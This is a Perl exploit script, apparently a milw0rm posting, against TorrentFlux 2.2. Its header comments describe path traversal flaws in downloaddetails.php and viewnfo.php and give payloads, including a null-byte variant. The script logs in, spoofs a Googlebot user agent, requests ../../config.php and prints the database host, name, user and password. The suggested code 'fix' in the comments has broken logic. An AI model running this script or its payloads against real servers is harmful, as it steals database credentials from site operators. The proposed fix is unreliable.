#Description:
#TorrentFlux fails to sanitise the variable "alias" in downloaddetails.php. This allows an
#attacker to include any file they want; the contents is displayed at in the spaces provided
#and the remaning data is displayed as error messages on the page. Overall Torrentflux makes it
#look quite nice. Solution use SecurityClean() of viewnfo.php to solve the problem.
# Note: After just looking at the code for viewnfo.php of TorrentFlux 2.1, it would seem that
# it is possible to also read the config.php file in the same way, since path was not sanitised.
# Although they have fixed this problem in 2.2 with a function i demonstrated to the
# developer for a previous vulnerability. Exploit: viewnfo.php?path=../config.php
# Just a thought, SecurityCleanPath() could look a bit nicer like so:
# From:
#if( (strtolower( substr( $string, -4 ) ) == ".txt") || (strtolower( substr( $string, -4 ) ) == ".nfo") )
# {
# // we are good
# }
# else
# {
# AuditAction($cfg["constants"]["error"], "Not a text or NFO: " . $string);
# die("Invalid file specified. Action has been logged.");
# }
#To:
#if( (strtolower( substr( $string, -4 ) ) != ".txt") || (strtolower( substr( $string, -4 ) ) != ".nfo") )
#{
# AuditAction($cfg["constants"]["error"], "Not a text or NFO: " . $string);
# die("Invalid file specified. Action has been logged.");
#}
# And it would seem for some reason if you do you change the above code it prevents you from
# using a null character to access any file in the current or above directory. 2.2 is
# vulnerable to this. EG: viewnfo.php?path=../config.php%00.txt (but since you cant go back
# a directory it doesn't help much - and you are stuck in the downloads, or above directories).
# r0ut3r (writ3r [at] gmail.com)
#################################################################################################
# r0ut3r Presents... #
# #
# Another r0ut3r discovery! #
# writ3r [at] gmail.com #
# #
# TorrentFlux 2.2 Database Credentials Exposure Exploit #
#################################################################################################
# Software: TorrentFlux 2.2 #
# #
# Vendor: http://www.torrentflux.com/ #
# #
# Released: 2006/12/09 #
# #
# Discovered & Exploit By: r0ut3r (writ3r [at] gmail.com) #
# #
# Note from a developer: "Valid TorrentFlux user IDs are REQUIRED and this is NOT an open #
# vulnerability to a NON user". #
# #
# Note: The information provided in this document is for TorrentFlux administrator #
# testing purposes only! This vulnerability requires a user account. #
# #
# Apart from a few problems (which are fixed) TorrentFlux is a great torrent client. #
# Download it at: http://www.torrentflux.com/ #
#################################################################################################
use IO::Socket;
$port = "80"; # connection port
$target = @ARGV[0]; # torrentflux.com
$folder = @ARGV[1]; # /torrentflux/
$user = @ARGV[2]; # login username
$pass = @ARGV[3]; # login password
sub Header()
{
print q
{#################################################################################################
# r0ut3r Presents... #
# #
# Another r0ut3r discovery! #
# writ3r [at] gmail.com #
# #
# TorrentFlux 2.2 Database Credentials Exposure Exploit #
#################################################################################################
};
}
sub Usage()
{
print q
{
Usage: db_tf2.pl [target] [directory] [username] [password]
Example: db_tf2.pl torrentflux.com /torrentflux/ r0ut3r testing123
};
exit();
}
Header();
if (!$target || !$folder || !$user || !$pass) {
Usage(); }
print "\n[+] Connecting...\r\n";
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect. Exiting...\r\n";
print "[+] Attempting to login\n";
print $sock "GET ".$folder."login.php?username=$user&iamhim=$pass HTTP/1.1\n";
print $sock "Host: $target\n";
print $sock "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
print $sock "Accept: text/html\n";
print $sock "Connection: keep-alive\n\n\r\n";
while (<$sock>)
{
if (/Cookie: TorrentFlux=(.*?);/)
{
$cookie = "TorrentFlux=$1";
}
}
print "[+] Successfully logged in\n";
print "[+] Cookie: ".$cookie."\n";
if ($cookie eq "")
{
print "[-] Failed to login. Exiting...";
exit();
}
print "[+] Sending request\n";
$xpack = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n";
print $xpack "GET ".$folder."downloaddetails.php?alias=../../config.php HTTP/1.1\n";
print $xpack "Host: $target\n";
print $xpack "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
print $xpack "Accept: text/html\n";
print $xpack "Cookie: ".$cookie."\n";
print $xpack "Connection: keep-alive\n\n";
print "\n---------- Exploit Results ----------\n\n";
while (<$xpack>)
{
if (/db_type"] = "(.*?)";/) {
print "Type: $1\n"; }
if (/db_host"] = "(.*?)";/) {
print "Host: $1\n"; }
if (/db_name"] = "(.*?)";/) {
print "Name: $1\n"; }
if (/db_user"] = "(.*?)";/) {
print "User: $1\n"; }
if (/db_pass"] = "(.*?)";/) {
print "Pass: $1\n\n";
$res = true; }
}
if ($res eq false) {
print "[-] Exploit failed - Not vulnerable\n"; }
print "[!] Connection to host lost...\n";
#################################################################################################
# This has been another r0ut3r discovery - writ3r [at] gmail.com #
#################################################################################################
# milw0rm.com [2006-12-09]
